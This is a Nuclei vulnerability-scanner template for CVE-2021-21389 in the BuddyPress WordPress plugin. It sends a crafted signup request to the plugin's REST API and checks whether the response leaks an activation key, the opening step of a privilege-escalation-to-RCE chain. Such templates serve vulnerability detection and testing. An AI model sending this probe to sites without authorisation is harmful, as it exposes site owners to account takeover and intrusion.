nuclei-templates/cves/2021/CVE-2021-21389.yaml

id: CVE-2021-21389

info:
  name: BuddyPress REST API Privilege Escalation to RCE
  author: lotusdll
  severity: critical
  description: The BuddyPress WordPress plugin was affected by an REST API Privilege Escalation to RCE
  reference: |
    - https://github.com/HoangKien1020/CVE-2021-21389
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21389
  tags: cve,cve2021,wordpress,wp-plugin,rce


requests:
  - raw:
      - |
        POST /wp-json/buddypress/v1/signup HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
        Content-Type: application/json; charset=UTF-8

        {
          "user_login":"{{randstr}}",
          "password":"{{randstr}}",
          "user_name":"{{randstr}}",
          "user_email":"{{randstr}}@example.com"
        }

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "application/json"
        part: header

      - type: word
        words:
          - "user_login"
          - "registered"
          - "activation_key"
          - "user_email"
        part: body
        condition: and